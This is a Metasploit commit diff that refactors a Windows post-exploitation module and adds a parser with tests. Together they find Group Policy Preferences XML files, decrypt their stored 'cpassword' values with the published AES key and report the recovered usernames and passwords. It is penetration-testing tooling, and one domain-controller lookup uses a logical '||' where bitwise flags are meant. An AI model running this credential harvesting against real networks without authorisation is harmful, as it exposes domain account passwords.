Land #3377, GPP gathering module fixes
commit
066a5e2a4b
|
@ -68,6 +68,11 @@ module NetAPI
|
|||
base = 0
|
||||
struct_size = 8
|
||||
hosts = []
|
||||
|
||||
if count == 0
|
||||
return hosts
|
||||
end
|
||||
|
||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||
|
||||
count.times do
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# This is a parser for the Windows Group Policy Preferences file
|
||||
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
|
||||
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
|
||||
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
|
||||
class GPP
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
|
||||
def self.parse(data)
|
||||
if data.nil?
|
||||
return []
|
||||
end
|
||||
|
||||
xml = REXML::Document.new(data).root
|
||||
results = []
|
||||
|
||||
unless xml and xml.elements and xml.elements.to_a("//Properties")
|
||||
return []
|
||||
end
|
||||
|
||||
xml.elements.to_a("//Properties").each do |node|
|
||||
epassword = node.attributes['cpassword']
|
||||
next if epassword.to_s.empty?
|
||||
password = self.decrypt(epassword)
|
||||
|
||||
user = node.attributes['runAs'] if node.attributes['runAs']
|
||||
user = node.attributes['accountName'] if node.attributes['accountName']
|
||||
user = node.attributes['username'] if node.attributes['username']
|
||||
user = node.attributes['userName'] if node.attributes['userName']
|
||||
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
|
||||
changed = node.parent.attributes['changed']
|
||||
|
||||
# Printers and Shares
|
||||
path = node.attributes['path']
|
||||
|
||||
# Datasources
|
||||
dsn = node.attributes['dsn']
|
||||
driver = node.attributes['driver']
|
||||
|
||||
# Tasks
|
||||
app_name = node.attributes['appName']
|
||||
|
||||
# Services
|
||||
service = node.attributes['serviceName']
|
||||
|
||||
# Groups
|
||||
expires = node.attributes['expires']
|
||||
never_expires = node.attributes['neverExpires']
|
||||
disabled = node.attributes['acctDisabled']
|
||||
|
||||
result = {
|
||||
:USER => user,
|
||||
:PASS => password,
|
||||
:CHANGED => changed
|
||||
}
|
||||
|
||||
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
|
||||
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
|
||||
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
|
||||
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
|
||||
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
|
||||
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
|
||||
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
|
||||
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
|
||||
|
||||
attributes = []
|
||||
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
|
||||
attributes << {
|
||||
:A_NAME => dsn_attribute.attributes['name'],
|
||||
:A_VALUE => dsn_attribute.attributes['value']
|
||||
}
|
||||
end
|
||||
|
||||
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
|
||||
|
||||
results << result
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
def self.create_tables(results, filetype, domain=nil, dc=nil)
|
||||
tables = []
|
||||
results.each do |result|
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Group Policy Credential Info',
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Value',
|
||||
]
|
||||
)
|
||||
|
||||
table << ["TYPE", filetype]
|
||||
table << ["USERNAME", result[:USER]]
|
||||
table << ["PASSWORD", result[:PASS]]
|
||||
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
|
||||
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
|
||||
table << ["CHANGED", result[:CHANGED]]
|
||||
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
|
||||
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
|
||||
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
|
||||
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
|
||||
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
|
||||
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
|
||||
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
|
||||
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
|
||||
|
||||
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
|
||||
result[:ATTRIBUTES].each do |dsn_attribute|
|
||||
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
|
||||
end
|
||||
end
|
||||
|
||||
tables << table
|
||||
end
|
||||
|
||||
tables
|
||||
end
|
||||
|
||||
# Decrypts passwords using Microsoft's published key:
|
||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||
def self.decrypt(encrypted_data)
|
||||
unless encrypted_data
|
||||
return ""
|
||||
end
|
||||
|
||||
password = ""
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
begin
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
|
||||
end
|
||||
|
||||
password
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -4,15 +4,15 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'rex/parser/group_policy_preferences'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::NetAPI
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
|
@ -41,7 +41,8 @@ class Metasploit3 < Msf::Post
|
|||
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
|
||||
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
|
||||
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
|
||||
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
|
||||
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
|
||||
['MSB', 'MS14-025']
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
|
@ -67,16 +68,11 @@ class Metasploit3 < Msf::Post
|
|||
domains = []
|
||||
basepaths = []
|
||||
fullpaths = []
|
||||
cached_domain_controller = nil
|
||||
|
||||
print_status "Checking for group policy history objects..."
|
||||
# Windows XP environment variable points to the correct folder.
|
||||
# Windows Vista and upwards points to ProgramData!
|
||||
all_users = expand_path("%ALLUSERSPROFILE%")
|
||||
all_users = get_env("%ALLUSERSPROFILE%")
|
||||
|
||||
if all_users.include? 'ProgramData'
|
||||
all_users.gsub!('ProgramData','Users\\All Users')
|
||||
else
|
||||
unless all_users.include? 'ProgramData'
|
||||
all_users = "#{all_users}\\Application Data"
|
||||
end
|
||||
|
||||
|
@ -209,7 +205,7 @@ class Metasploit3 < Msf::Post
|
|||
xml_path = "#{path}#{xml_path}"
|
||||
begin
|
||||
return xml_path if exist? xml_path
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
# No permissions for this specific file.
|
||||
return nil
|
||||
end
|
||||
|
@ -223,7 +219,7 @@ class Metasploit3 < Msf::Post
|
|||
retobj = {
|
||||
:dc => spath[2],
|
||||
:path => path,
|
||||
:xml => REXML::Document.new(data).root
|
||||
:xml => data
|
||||
}
|
||||
if spath[4] == "sysvol"
|
||||
retobj[:domain] = spath[5]
|
||||
|
@ -240,85 +236,35 @@ class Metasploit3 < Msf::Post
|
|||
def parse_xml(xmlfile)
|
||||
mxml = xmlfile[:xml]
|
||||
print_status "Parsing file: #{xmlfile[:path]} ..."
|
||||
filetype = xmlfile[:path].split('\\').last()
|
||||
mxml.elements.to_a("//Properties").each do |node|
|
||||
epassword = node.attributes['cpassword']
|
||||
next if epassword.to_s.empty?
|
||||
pass = decrypt(epassword)
|
||||
filetype = File.basename(xmlfile[:path].gsub("\\","/"))
|
||||
results = Rex::Parser::GPP.parse(mxml)
|
||||
|
||||
user = node.attributes['runAs'] if node.attributes['runAs']
|
||||
user = node.attributes['accountName'] if node.attributes['accountName']
|
||||
user = node.attributes['username'] if node.attributes['username']
|
||||
user = node.attributes['userName'] if node.attributes['userName']
|
||||
user = node.attributes['newName'] unless node.attributes['newName'].blank?
|
||||
changed = node.parent.attributes['changed']
|
||||
|
||||
# Printers and Shares
|
||||
path = node.attributes['path']
|
||||
|
||||
# Datasources
|
||||
dsn = node.attributes['dsn']
|
||||
driver = node.attributes['driver']
|
||||
|
||||
# Tasks
|
||||
app_name = node.attributes['appName']
|
||||
|
||||
# Services
|
||||
service = node.attributes['serviceName']
|
||||
|
||||
# Groups
|
||||
expires = node.attributes['expires']
|
||||
never_expires = node.attributes['neverExpires']
|
||||
disabled = node.attributes['acctDisabled']
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Group Policy Credential Info',
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Value',
|
||||
]
|
||||
)
|
||||
|
||||
table << ["TYPE", filetype]
|
||||
table << ["USERNAME", user]
|
||||
table << ["PASSWORD", pass]
|
||||
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
|
||||
table << ["DOMAIN", xmlfile[:domain] ]
|
||||
table << ["CHANGED", changed]
|
||||
table << ["EXPIRES", expires] unless expires.blank?
|
||||
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
|
||||
table << ["DISABLED", disabled] unless disabled.blank?
|
||||
table << ["PATH", path] unless path.blank?
|
||||
table << ["DATASOURCE", dsn] unless dsn.blank?
|
||||
table << ["DRIVER", driver] unless driver.blank?
|
||||
table << ["TASK", app_name] unless app_name.blank?
|
||||
table << ["SERVICE", service] unless service.blank?
|
||||
|
||||
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
|
||||
table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
|
||||
end
|
||||
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
|
||||
|
||||
tables.each do |table|
|
||||
print_good table.to_s
|
||||
end
|
||||
|
||||
results.each do |result|
|
||||
if datastore['STORE']
|
||||
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
|
||||
print_status("XML file saved to: #{stored_path}")
|
||||
print_line
|
||||
end
|
||||
|
||||
report_creds(user,pass) unless disabled and disabled == '1'
|
||||
report_creds(result[:USER], result[:PASS], result[:DISABLED])
|
||||
end
|
||||
end
|
||||
|
||||
def report_creds(user, pass)
|
||||
def report_creds(user, password, disabled)
|
||||
if session.db_record
|
||||
source_id = session.db_record.id
|
||||
else
|
||||
source_id = nil
|
||||
end
|
||||
|
||||
active = (disabled == 0)
|
||||
|
||||
report_auth_info(
|
||||
:host => session.sock.peerhost,
|
||||
:port => 445,
|
||||
|
@ -327,70 +273,28 @@ class Metasploit3 < Msf::Post
|
|||
:source_id => source_id,
|
||||
:source_type => "exploit",
|
||||
:user => user,
|
||||
:pass => pass)
|
||||
end
|
||||
|
||||
def decrypt(encrypted_data)
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
||||
|
||||
return pass
|
||||
:pass => password,
|
||||
:active => active)
|
||||
end
|
||||
|
||||
def enum_domains
|
||||
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
|
||||
buffersize = 500
|
||||
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
||||
# Estimate new buffer size on percentage recovered.
|
||||
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
|
||||
if percent_found > 0
|
||||
buffersize = (buffersize/percent_found).to_i
|
||||
else
|
||||
buffersize += 500
|
||||
end
|
||||
|
||||
while result['return'] == 234
|
||||
buffersize = buffersize + 500
|
||||
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
||||
end
|
||||
|
||||
count = result['totalentries']
|
||||
print_status("#{count} Domain(s) found.")
|
||||
startmem = result['bufptr']
|
||||
|
||||
base = 0
|
||||
domains = []
|
||||
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
|
||||
|
||||
if count == 0
|
||||
return domains
|
||||
if results
|
||||
results.each do |domain|
|
||||
domains << domain[:name]
|
||||
end
|
||||
|
||||
domains.uniq!
|
||||
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
|
||||
end
|
||||
|
||||
mem = client.railgun.memread(startmem, 8*count)
|
||||
|
||||
count.times do |i|
|
||||
x = {}
|
||||
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
||||
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
||||
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
||||
domains << x[:domain]
|
||||
base = base + 8
|
||||
end
|
||||
|
||||
domains.uniq!
|
||||
print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
|
||||
return domains
|
||||
domains
|
||||
end
|
||||
|
||||
def enum_dcs(domain)
|
||||
hostnames = nil
|
||||
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
|
||||
# http://support.microsoft.com/kb/909264 \/:*?"<>|
|
||||
if domain =~ /[:\*?"<>\\\/.]/
|
||||
|
@ -399,34 +303,19 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
print_status("Enumerating DCs for #{domain} on the network...")
|
||||
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
|
||||
buffersize = 500
|
||||
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
||||
while result['return'] == 234
|
||||
buffersize = buffersize + 500
|
||||
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
||||
end
|
||||
if result['totalentries'] == 0
|
||||
results = net_server_enum(SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL, domain)
|
||||
|
||||
if results.blank?
|
||||
print_error("No Domain Controllers found for #{domain}")
|
||||
return nil
|
||||
else
|
||||
hostnames = []
|
||||
results.each do |dc|
|
||||
print_good "DC Found: #{dc[:name]}"
|
||||
hostnames << dc[:name]
|
||||
end
|
||||
end
|
||||
|
||||
count = result['totalentries']
|
||||
startmem = result['bufptr']
|
||||
|
||||
base = 0
|
||||
mem = client.railgun.memread(startmem, 8*count)
|
||||
hostnames = []
|
||||
count.times{|i|
|
||||
t = {}
|
||||
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
||||
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
||||
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
||||
base = base + 8
|
||||
print_good "DC Found: #{t[:dc_hostname]}"
|
||||
hostnames << t[:dc_hostname]
|
||||
}
|
||||
return hostnames
|
||||
hostnames
|
||||
end
|
||||
|
||||
# We use this for the odd test case where a DC is unable to be enumerated from the network
|
||||
|
|
|
@ -0,0 +1,150 @@
|
|||
require 'rex/parser/group_policy_preferences'
|
||||
|
||||
xml_group = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User>
|
||||
</Groups>
|
||||
'
|
||||
|
||||
xml_datasrc = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<DataSources clsid="{380F820F-F21B-41ac-A3CC-24D4F80F067B}"><DataSource clsid="{5C209626-D820-4d69-8D50-1FACD6214488}" userContext="1" name="test" image="0" changed="2013-04-25 20:39:08" uid="{3513F923-9661-4819-9995-91A63C7D7A65}"><Properties action="C" userDSN="0" dsn="test" driver="test" description="" username="test" cpassword="eYbbv1GZI4DZEgTXPUDspw"><Attributes><Attribute name="test" value="test"/><Attribute name="test2" value="test2"/></Attributes></Properties></DataSource>
|
||||
</DataSources>
|
||||
'
|
||||
|
||||
xml_drive = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Drives clsid="{8FDDCC1A-0C3C-43cd-A6B4-71A6DF20DA8C}"><Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="E:" status="E:" image="0" changed="2013-04-25 20:33:02" uid="{016E2095-EAB5-43C0-8BCF-4C2655F709F5}"><Properties action="C" thisDrive="NOCHANGE" allDrives="NOCHANGE" userName="drivemap" path="drivemap" label="" persistent="0" useLetter="1" letter="E" cpassword="Lj3fkZ8E3AFAJPTSoBitKw"/></Drive>
|
||||
</Drives>
|
||||
'
|
||||
|
||||
xml_schd = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="test1" image="2" changed="2013-04-25 20:30:13" uid="{41059D76-C7B4-4D05-9679-AE7510247B1F}"><Properties action="U" name="test1" appName="notepad.exe" args="" startIn="" comment="" runAs="test1" cpassword="DdGgLn/bpUNU/QjjcNvn4A" enabled="0"><Triggers><Trigger type="DAILY" startHour="8" startMinutes="0" beginYear="2013" beginMonth="4" beginDay="25" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
|
||||
</ScheduledTasks>
|
||||
'
|
||||
|
||||
xml_serv = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}"><NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="Blah" image="0" changed="2013-04-25 20:29:49" uid="{C6AE4201-9F99-46AB-93C2-9D734D87D343}"><Properties startupType="NOCHANGE" serviceName="Blah" timeout="30" accountName="bob" cpassword="OQWR9sf5FTlGgh8SJX31ug"/></NTService>
|
||||
</NTServices>
|
||||
'
|
||||
|
||||
xml_ms = '
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
|
||||
disabled="1">
|
||||
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
|
||||
name="DbAdmin"
|
||||
image="2"
|
||||
changed="2007-07-06 20:45:20"
|
||||
uid="{253F4D90-150A-4EFB-BCC8-6E894A9105F7}">
|
||||
<Properties
|
||||
action="U"
|
||||
newName=""
|
||||
fullName="Database Admin"
|
||||
description="Local Database Admin"
|
||||
cpassword="demo"
|
||||
changeLogon="0"
|
||||
noChange="0"
|
||||
neverExpires="0"
|
||||
acctDisabled="1"
|
||||
userName="DbAdmin"/>
|
||||
</User>
|
||||
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}"
|
||||
name="Database Admins"
|
||||
image="2"
|
||||
changed="2007-07-06 20:46:21"
|
||||
uid="{C5FB3901-508A-4A9E-9171-60D4FC2B404B}">
|
||||
<Properties
|
||||
action="U"
|
||||
newName=""
|
||||
description="Local Database Admins"
|
||||
userAction="REMOVE"
|
||||
deleteAllUsers="1"
|
||||
deleteAllGroups="1"
|
||||
removeAccounts="0"
|
||||
groupName="Database Admins">
|
||||
<Members>
|
||||
<Member
|
||||
name="domain\sampleuser"
|
||||
action="ADD"
|
||||
sid=""/>
|
||||
</Members>
|
||||
</Properties>
|
||||
</Group>
|
||||
</Groups>
|
||||
'
|
||||
|
||||
cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
|
||||
cpassword_bad = "blah"
|
||||
|
||||
describe Rex::Parser::GPP do
|
||||
GPP = Rex::Parser::GPP
|
||||
|
||||
##
|
||||
# Decrypt
|
||||
##
|
||||
it "Decrypt returns Local*P4ssword! for normal cpassword" do
|
||||
result = GPP.decrypt(cpassword_normal)
|
||||
result.should eq("Local*P4ssword!")
|
||||
end
|
||||
|
||||
it "Decrypt returns blank for bad cpassword" do
|
||||
result = GPP.decrypt(cpassword_bad)
|
||||
result.should eq("")
|
||||
end
|
||||
|
||||
it "Decrypt returns blank for nil cpassword" do
|
||||
result = GPP.decrypt(nil)
|
||||
result.should eq("")
|
||||
end
|
||||
|
||||
##
|
||||
# Parse
|
||||
##
|
||||
|
||||
it "Parse returns empty [] for nil" do
|
||||
GPP.parse(nil).should be_empty
|
||||
end
|
||||
|
||||
it "Parse returns results for xml_ms and password is empty" do
|
||||
results = GPP.parse(xml_ms)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should be_empty
|
||||
end
|
||||
|
||||
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
|
||||
results = GPP.parse(xml_datasrc)
|
||||
results.should_not be_empty
|
||||
results[0].include?(:ATTRIBUTES).should be_true
|
||||
results[0][:ATTRIBUTES].should_not be_empty
|
||||
results[0][:PASS].should eq("test")
|
||||
end
|
||||
|
||||
xmls = []
|
||||
xmls << xml_group
|
||||
xmls << xml_drive
|
||||
xmls << xml_schd
|
||||
xmls << xml_serv
|
||||
xmls << xml_datasrc
|
||||
|
||||
it "Parse returns results for all good xmls and passwords" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# Create_Tables
|
||||
##
|
||||
it "Create_tables returns tables for all good xmls" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
tables = GPP.create_tables(results, "test")
|
||||
tables.should_not be_empty
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue